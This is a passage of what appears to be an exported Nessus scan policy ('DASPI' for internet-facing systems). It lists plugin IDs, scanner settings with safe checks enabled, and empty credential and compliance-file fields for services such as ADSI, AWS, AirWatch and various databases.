078;34368;18588;11817;71975;21078;56984;104888;43623;69377;30148;22317;82793;76494;77157;47040;14748;101526;77086;34510;23823;31352;34408;57560;24004;35359;10853;22475;46788;47577;29927;104461;101368;19494;83264;64845;31098;74218;102714;73348;20838;58010;78700;16313;77156;61486;59425;85298;72813;14301;62384;77169;58797;90627;23870;11349;81315;56037;20907;84639;73521;84263;55720;81404;49271;10047;73947;73412;94631;10553;24870;87253;59457;90525;52995;93525;53549;20219;66836;62683;10463;34769;10503;69430;31044;83877;43005;14686;84056;73985;18223;81490;11695;12097;85693;61797;18591;11150;25899;33201;87948;76313;89684;43066;59230;29741;10432;12018;85323;64394;69986;71806;54998;59402;26195;90526;72094;71844;59465;59557;33136;88090;77667;56874;31137;70556;47708;11994;13646;49997;62905;63417;92817;93788;17246;17634;59837;30204;96047;97100;20133;22129;11768;65078;80103;73498;10517;95631;84262;100934;35326;77184;103328;72725;104359;40870;18525;58430;12198;26915;95288;99372;72966;69800;55995;48956;10678;55144;55900;62785;76072;73671;99709;92461;31465;20976;93829;77557;97729;66393;30053;21737;102859;83184;69829;11884;12246;17811;14773;23753;11911;78087;59328;58831;90254;88936;82077;14390;25955;10557;25123;69471;45109;40458;102527;78542;88042;57859;10180;45440;84007;21024;78670;78079;59017;65914;32373;67121;70630;65982;10673;96828;70175;10582;88906;51388;18020;82698;42373;58681;10372;78858;58658;42372;15459;22005;70103;14182;11486;59375;67124;10805;56039;14803;44960;84164;79250;54844;63419;20147;35778;17705;58746;24274;59607;10964;90151;11344;76769;58516;61530;17367;49025;71435;84499;44596;70137;66256;77500;42977;32322;34948;103973;11176;78602;38183;17633;50652;86478;10502;81789;20254;96626;58770;10600;61718;70739;102918;12030;67204;81000;62746;77572;40470;1337223;22234;74293;10462;74246;11777;21625;10284;18522;22268;90861;64579;73854;64722;70742;25551;15762;64246;17792;11591;11197;81001;20750;38952;32137;17304;104890;104854;11941;68963;58975;11409;33480;100151;78082;81258;93111;21691;53641;77053;25902;10109;17991;71862;86255;78823;17727;78514;11618;58726;41980;81649;16204;35468;17222;88693;23928;10291;34209;87254;88843;19503;51664;72214;70972;14614;100385;12061;68879;84151;10681;76389;50546;56993;57862;11244;60081;24998;100220;64258;59797;87954;56239;24338;77987;89674;53876;20744;53514;73915;12638;88381;89785;17305;17736;88598;76405;25246;54580;67193;46015;58321;17329;86058;34099;70293;19386;86247;21053;48351;73864;64262;40773;11521;58994;10900;57800;88385;69276;21580;50689;69552;21787;29898;99199;84017;84086;16201;102202;11845;15722;85653;69866;71847;72039;84158;49691;14302;19946;12007;79137;55127;54605;53323;72482;35430;25765;16314;99105;13859;14227;62990;12017;11274;50687;90540;71944;59018;90066;93814;14388;10530;57770;62579;55797;21779;93962;25040;51876;86366;62621;47831;18166;81575;31132;17790;63242;51874;104886;78546;63095;79625;63113;20295;17293;34043;103746;91611;99587;11283;57666;104409;17604;19502;86916;25822;53391;63355;64589;100422;69929;10733;39767;96001;47803;63225;59911;78076;88694;70716;11253;79641;57043;91124;92630;94166;104547;84055;15859;11387;18587;30207;51925;103674;76262;18392;11592;55507;94403;48962;10434;78669;23835;84053;99283;72771;20970;63185;56198;53380;73379;92871;92787;25842;49807;83136;14336;13637;17230;61534;29855;14834;11579;80489;18503;11848;18139;57032;14719;19218;73644;42306;44076;84291;52611;42339;16321;66410;25085;96450;51815;84810;25811;71972;60119;56119;10629;84217;73515;31735;73373;25460;52050;56862;72185;49270;33866;61487;73209;102713;77539;103962;14659;17694;72859;31797;59171;85847;86822;40851;17983;84431;64567;24270;65050;93655;10280;73119;54842;10593;39852;18355;55650;92557;18216;50539;51458;31411;42087;72034;73299;100052;29867;99584;19689;21152;200026;52158;10632;41645;104127;20348;103672;72579;65951;90798;58409;57353;66480;44425;51998;47581;33899;59293;20833;55630;47579;10454;11091;10170;74423;65630;11514;38890;62461;90891;101090;87872;45422;10476;71941;18626;28289;72621;55473;17757;40420;24003;58231;11083;79640;65047;96305;69443;58651;36171;62940;60064;73991;49036;11069;61414;11558;14222;96486;64475;20926;73668;48991;34158;29854;14729;30057;43172;11468;88088;11785;12075;24735;47710;16334;11634;74041;41058;55907;17717;39346;11649;15529;58319;78675;74365;93224;42115;88679;52531;35822;62390;15517;85300;42053;11119;55445;46222;99671;100152;52673;10086;96610;200031;19758;12028;10112;23640;44110;33481;95468;32399;72510;64789;89680;19938;49949;22364;22073;66474;104898;65215;30219;63200;59559;73125;59359;48405;85845;74152;93810;21247;49224;62967;11830;65878;17829;64292;15905;18050;72180;89103;10171;20181;10727;82830;10987;67245;25755;104103;39469;29746;39809;65738;76788;35008;40822;18264;11144;72262;11006;99237;84289;50830;36072;14327;11322;65643;53548;84047;19547;87206;73672;76306;25693;35631;11703;77388;69333;54956;86899;15623;55577;62352;92437;21565;56711;59456;20834;25735;35009;56165;76936;70413;24275;43062;40805;86996;62810;55691;33133;80201;85887;77406;16327;17349;45623;58901;31120;56651;64485;55977;96770;11478;59357;84924;64555;45509;10023;101357;18681;11403;20251;18011;17692;71317;17735;29726;104437;77708;24902;101046;93229;73120;12053;29833;22203;104901;33926;11278;48287;11658;34851;73416;86192;65997;20062;86827;78075;45435;40617;21154;11148;86884;33270;70657;11015;35296;11042;90441;86653;59077;57337;78548;90190;70313;81126;23783;80303;19597;81602;93898;20003;33763;73641;104031;39500;45047;91162;18040;56510;18420;74122;90429;77003;58527;11495;12284;64484;103456;53492;46858;10848;19406;57978;72904;56391;14832;18098;81592;87953;57863;86061;78435;72041;50476;35360;35977;11301;86610;11481;55859;80910;101836;10806;10135;96831;21100;53536;25167;27600;11798;10977;19404;64826;53405;14375;72480;47712;65949;103131;94052;32194;86547;70456;58526;81919;19698;10264;90544;72773;18288;72008;11288;52704;103112;77984;95663;90308;70398;63241;20734;16045;74264;83520;21226;73804;83959;10453;67259;101168;84021;15484;11760;92457;59310;74328;77332;88412;81731;47765;24784;48975;77822;15715;57849;69050;74026;22368;11567;102272;78422;83490;22307;89781;65901;49007;59849;67122;70072;33128;65731;17823;63559;72092;70980;70683;57335;86060;10670;62744;76777;66176;87252;89052;56634;66871;11442;14800;26069;50513;77909;16216;92467;10591;10048;82848;27575;77711;66304;103986;81401;53475;59211;11596;92790;47744;55908;35804;21116;44116;69139;1337014;31679;104124;25037;1337003;42798;58445;77576;91461;11891;72007;1337029;86568;96905;20108;78444;22538;19695;15485;87733;69555;17723;91974;200012;39354;47580;48291;77703;99708;10266;63554;11686;48352;76165;11245;96607;20214;68939;90353;47861;14668;1337019;92414;22482;55901;11474;70885;103784;77581;60094;104665;89756;20910;91222;26014;69953;59530;73577;83475;34414;66545;65548;35221;31850;66234;90711;10763;69985;104386;21168;21214;69032;79251;62480;60017;58351;85540;31718;22877;34725;49044;103139;21689;24898;14626;46841;81492;35742;64827;57364;10124;59644;72907;44067;93845;79577;73490;77861;25148;84401;100718;22296;34475;58597;19696;56379;92413;12064;103514;83036;46860;99763;33942;58517;17161;19287;76257;104459;30202;78031;11675;38718;91781;95874;83349;41646;42964;90067;63644;44414;35703;200027;78556;34109;18084;21019;85254;15966;21221;10911;34197;21235;100955;11586;100682;58007;52544;15783;100784;104575;84008;24999;14683;51389;77158;76261;51774;63619;29308;69832;59117;57617;59113;54618;103569;20991;62581;49701;42878;10022;15611;73613;79826;62688;11363;18202;12278;11720;11577;59111;11906;70849;47898;69317;57769;11131;92492;58446;62925;31193;11058;10435;94162;10538;53848;35766;100321;49774;91004;18246;72704;10637;72487;85895;61381;104102;34119;76125;65764;84745;34096;84736;76527;99169;57027;11327;72141;59733;20320;53223;25147;19313;63346;10953;18375;19707;103303;101525;97525;20827;35073;35361;11931;67247;17714;62641;16271;83361;10735;10959;59788;56633;74251;90197;14682;35374;70744;79664;87675;20112;88644;44945;58603;14237;93817;87734;25251;77162;76462;20841;15651;44422;104049;84640;103987;56314; + +TARGET +https://www.example.org + +throttle_scan +yes + +listen_address +0.0.0.0 + +local_portscan.snmp +yes + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +local_portscan.netstat_ssh +yes + +max_checks +5 + +network_scanners.syn +yes + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +network_scanners.tcp +no + +ui.aws.region_category +Rest of the World + +name +DASPI + +description +DASPI default policy for internet-facing systems. + +whoami +daspi + +reverse_lookup +no + +optimize_test +yes + +log_whole_attack +yes + +portscan.ping +yes + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +unscanned_closed +no + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +network_scanners.udp +no + +checks_read_timeout +5 + +local_portscan.netstat_wmi +yes + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +4eda8969-138e-2e3c-b2ca-c158d96fd1eb28379e2a45568f53 + +stop_scan_on_hang +no + +visibility +private + +allow_post_scan_editing +yes + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +no + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database 